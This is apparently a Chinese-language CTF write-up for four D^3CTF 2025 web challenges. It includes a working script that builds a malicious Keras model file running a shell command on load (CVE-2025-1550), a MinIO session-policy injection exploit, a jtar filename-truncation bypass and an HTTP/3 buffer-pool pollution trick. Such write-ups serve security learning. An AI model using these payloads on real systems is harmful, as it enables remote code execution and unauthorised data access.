前言
跟着Syc打的,web方向差一题ak,算是有点可惜了
d3model
题目内就一个app.py
import keras
from flask import Flask, request, jsonify
import os
def is_valid_model(modelname):
try:
keras.models.load_model(modelname)
except Exception as e:
print(e)
return False
return True
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return open('index.html').read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return jsonify({'error': 'No file part'}), 400
file = request.files['file']
if file.filename == '':
return jsonify({'error': 'No selected file'}), 400
MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB
file.seek(0, os.SEEK_END)
file_size = file.tell()
file.seek(0)
if file_size > MAX_FILE_SIZE:
return jsonify({'error': 'File size exceeds 50MB limit'}), 400
filepath = os.path.join('./', 'test.keras')
if os.path.exists(filepath):
os.remove(filepath)
file.save(filepath)
if is_valid_model(filepath):
return jsonify({'message': 'Model is valid'}), 200
else:
return jsonify({'error': 'Invalid model file'}), 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5001)
代码也没啥好审的,很明显就只有一个keras.models.load_model(modelname)能当作sink点,去网上搜一下相关漏洞就能找到现成的payload,题目不出网,外带到index.html即可
https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
exp
import os
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np
model_name = "test.keras"
x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)
model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])
model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)
with zipfile.ZipFile(model_name, "r") as f:
config = json.loads(f.read("config.json").decode())
config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
"name": "mvlttt",
"layers": [
{
"name": "mvlttt",
"class_name": "function",
"config": "Popen",
"module": "subprocess",
"inbound_nodes": [{"args": [["/bin/bash", "-c", "env>>index.html"]], "kwargs": {"bufsize": -1}}]
}],
"input_layers": [["mvlttt", 0, 0]],
"output_layers": [["mvlttt", 0, 0]]
}
with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))
os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)
with zipfile.ZipFile(model_name, "a") as zf:
zf.writestr("config.json", json.dumps(config))
print("[+] Malicious model ready")
d3jtar
给了个war包,直接放在tomcat部署就好
题目只有一个Controller,逻辑如下
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package d3.example.controller;
import d3.example.utils.BackUp;
import d3.example.utils.Upload;
import java.io.File;
import java.io.IOException;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Objects;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.ModelAndView;
@Controller
public class MainController {
public MainController() {
}
@GetMapping({"/view"})
public ModelAndView view(@RequestParam String page, HttpServletRequest request) {
if (page.matches("^[a-zA-Z0-9-]+$")) {
String viewPath = "/WEB-INF/views/" + page + ".jsp";
String realPath = request.getServletContext().getRealPath(viewPath);
File jspFile = new File(realPath);
if (realPath != null && jspFile.exists()) {
return new ModelAndView(page);
}
}
ModelAndView mav = new ModelAndView("Error");
mav.addObject("message", "The file don't exist.");
return mav;
}
@PostMapping({"/Upload"})
@ResponseBody
public String UploadController(@RequestParam MultipartFile file) {
try {
String uploadDir = "webapps/ROOT/WEB-INF/views";
Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar"));
String filePath = Upload.secureUpload(file, uploadDir, blackList);
return "Upload Success: " + filePath;
} catch (Upload.UploadException e) {
return "The file is forbidden: " + e;
}
}
@PostMapping({"/BackUp"})
@ResponseBody
public String BackUpController(@RequestParam String op) {
if (Objects.equals(op, "tar")) {
try {
BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views"));
return "Success !";
} catch (IOException var3) {
return "Failure : tar Error";
}
} else if (Objects.equals(op, "untar")) {
try {
BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar"));
return "Success !";
} catch (IOException var4) {
return "Failure : untar Error";
}
} else {
return "Failure : option Error";
}
}
}
View接口只能够渲染jsp后缀的文件
Upload接口能够上传文件,不过有些filter
BackUP能够使用jtar这个组件对webapps/ROOT/WEB-INF/views目录下的文件打包成tar或者解包
这里有个很误导的地方,也是直接导致我赛中没做出来的原因,就是view接口中的"/WEB-INF/views/" + page + “.jsp”;和BackUp接口中的webapps/ROOT/WEB-INF/views指的是同一个目录,在比赛期间由于我在Tomcat部署,目录结构如下图,所以我的想法一直都是利用某种方法来进行目录穿越操作,最后复现试了一下远程,发现两个是同一个目录,绷不住了
upload过滤做的很严,基本不可能成功上传,加上题目提醒jtar,那么肯定是jtar这个组件有问题
jtar在打包的流程是这样的,每个要被打包的文件都是一个Entry的实例,这个Entry包含了这个文件的一些信息,比如大小,名字,权限,还有用户的名字等等
然后在TarOutputStream中利用putNextEntry将每个实例化好的Entry对象放进Stream中,最后write进文件中
这里存在漏洞的地方就在putNextEntry中
进入writeEntryHeader
这里获取文件名的Bytes
将文件名的char强制转换为byte并且放到buffer里,这里会导致一种什么情况呢
java中char的大小在\u0000-\uffff之间,而byte的大小在(-127)-128之间,所以当char的值在257时,被强制转换成byte,则会变成1,即ascii码为1对应的字符
所以这里的思路也出来了,我们只需要找到超出byte大小限制的一个unicode码就行了
然后进行一轮tar和untar,最后得到下面这个结果
所以解出思路大致就是这样,附一张解出图
d3invitation
环境有两个,一个oss端,一个web端
Web端这边测api一共测出来四个
- /api/genSTSCreds 生成AK,SK还有session_token
- /api/putObject 拿着上面生成的凭证往储存桶里放object
- /api/getObject 读取桶下的object
- /invitation 没啥吊用,生成邀请函的页面
这里token我们可以解一下里面的内容
jwt.io
可以看到一个叫sessionPolicy的东西
定义了我们的一些policy,以及可读的权限只有我们上传的文件
那这里我们可以猜测,flag就在桶之中,我们需要获取到一定的权限去读这个flag
那我们这里需要获得一个够权限的token,要么是获得他token的key值,要么就是让他生成一个够权限的token
上面我们看到policy是一个json,这里可以尝试使用"来闭合注入
failed了,说明闭合上了,这里是可以注入的,后续也没啥东西了我觉得,就是注入一个高权限的policy,这里我直接甩exp
from minio import Minio
from minio.error import S3Error
import requests
import json
BASE_URL = "http://35.241.98.126:31802" # ← 改成你的目标地址
UPLOAD_FILENAME = '"],\"Action\":[\"s3:GetObject\",\"s3:PutObject\"]},{"Effect": "Allow","Action": ["s3:GetObject","s3:PutObject","s3:ListBucket","s3:ListAllMyBuckets","s3:GetBucketLocation"],"Resource": "*"}]}aaa'
UPLOAD_CONTENT = b"This is a test file from attacker."
ACCESS_KEY = ""
SECRET_KEY = ""
BUCKET_NAME = "flag"
SESSION_TOKEN=""
# Step 1: 获取临时凭证
def get_temp_creds(object_name):
global ACCESS_KEY, SECRET_KEY, SESSION_TOKEN
url = f"{BASE_URL}/api/genSTSCreds"
data = {"object_name": object_name}
resp = requests.post(url, json=data)
resp.raise_for_status()
print("[+] 获取临时凭证成功")
# temp=json.loads()
ACCESS_KEY= resp.json()['access_key_id']
SECRET_KEY=resp.json()['secret_access_key']
SESSION_TOKEN=resp.json()['session_token']
return ACCESS_KEY,SECRET_KEY,SESSION_TOKEN
# MinIO server configuration
get_temp_creds(UPLOAD_FILENAME)
# Initialize the MinIO client
print(ACCESS_KEY)
print(SECRET_KEY)
print(SESSION_TOKEN)
minio_client = Minio(
"35.241.98.126:32402",
access_key=ACCESS_KEY,
secret_key=SECRET_KEY,
session_token=SESSION_TOKEN,
secure=False
)
def download_file(object_name, download_path):
"""Download a file from the MinIO bucket."""
try:
minio_client.fget_object(BUCKET_NAME, object_name, download_path)
print(f"[+] File '{object_name}' downloaded to '{download_path}'")
except S3Error as e:
print(f"[-] Error downloading file: {e}")
def list_objects():
"""List all objects in the MinIO bucket."""
try:
objects = minio_client.list_objects(BUCKET_NAME)
print("[+] Objects in bucket:")
for obj in objects:
print(f" - {obj.object_name}")
except S3Error as e:
print(f"[-] Error listing objects: {e}")
def list_buckets():
"""List all buckets in the MinIO server."""
try:
buckets = minio_client.list_buckets()
print("[+] Buckets:")
print(buckets)
for bucket in buckets:
print(f" - {bucket.name}")
except S3Error as e:
print(f"[-] Error listing buckets: {e}")
list_buckets()
list_objects()
download_file("flag", "downloaded_example.txt")
tidy quic
这题考的是http3协议
先分析题目
package main
import (
"bytes"
"errors"
"github.com/libp2p/go-buffer-pool"
"github.com/quic-go/quic-go/http3"
"io"
"log"
"net/http"
)
var p pool.BufferPool
var ErrWAF = errors.New("WAF")
func main() {
go func() {
err := http.ListenAndServeTLS(":8088", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
go func() {
err := http3.ListenAndServeQUIC(":8088", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
select {}
}
type mux struct {
}
func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodGet {
_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))
return
}
if r.Method != http.MethodPost {
w.WriteHeader(400)
return
}
var buf []byte
length := int(r.ContentLength)
if length == -1 {
var err error
buf, err = io.ReadAll(textInterrupterWrap(r.Body))
if err != nil {
if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
}
return
}
} else {
buf = p.Get(length)
defer p.Put(buf)
rd := textInterrupterWrap(r.Body)
i := 0
for {
n, err := rd.Read(buf[i:])
if err != nil {
if errors.Is(err, io.EOF) {
break
} else if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
return
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
return
}
}
i += n
}
}
if !bytes.HasPrefix(buf, []byte("I want")) {
_, _ = w.Write([]byte("Sorry I'm not clear what you want."))
return
}
item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
if bytes.Equal(item, []byte("flag")) {
_, _ = w.Write([]byte("flfag{test}"))
} else {
_, _ = w.Write(item)
}
}
type wrap struct {
io.ReadCloser
ban []byte
idx int
}
func (w *wrap) Read(p []byte) (int, error) {
n, err := w.ReadCloser.Read(p)
if err != nil && !errors.Is(err, io.EOF) {
return n, err
}
for i := 0; i < n; i++ {
if p[i] == w.ban[w.idx] {
w.idx++
if w.idx == len(w.ban) {
return n, ErrWAF
}
} else {
w.idx = 0
}
}
return n, err
}
func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
return &wrap{
rc, []byte("flag"), 0,
}
}
我们在go中的题目主要要关注的点就是在于题目中的全局变量,这差不多是经验之谈了hh
所以我们可以看到题目中的var p pool.BufferPool
,一个缓冲池
在http通信中,如果Content-Length!=-1
(即没写CL头),则不会调用缓冲区来读取数据,反之则会使用
buf = p.Get(length)
defer p.Put(buf)
这里主要在于defer p.Put(buf)
,观察代码上下文也没有对已经写入了body数据的buf缓冲区进行重置清零的操作,而是直接将她放回的缓冲池,这就会导致缓冲池会出现一个被污染的状态,下一次从缓冲池中取出缓冲区也会受到这些数据的影响
第一次
第二次
所以我们现在的想法就是,让上次的buf影响到下次的结果
我们可以让第一次的数据为a bcde flag 第二次的为i want,这样在被污染过后就会成为i want flag,注意这里两次的请求的Content-Length都要为11,即使第二次只post了6个数据,否则取不到对应长度的buf
接下来的操作体现了http3和http2的区别
http2
省略了前面post i want flag的一步
结果在读取我们post的10个数据之后,读取行为并没结束,http2还在等待剩下的一位继续输入而并没有发送eof结束
http3
结果http3在一次读取之后就到了eof结束的地方
这里体现出来http2和http3的区别:http2在Content-Length比body实际长度大时,会等待一会儿的输入,来使两者相等,而http3则会更精准的检测出body的实际长度并且在body发送完毕之后迅速的发送结束流,也可以说是quic不会根据http请求包中的Content-Length来界定body的结束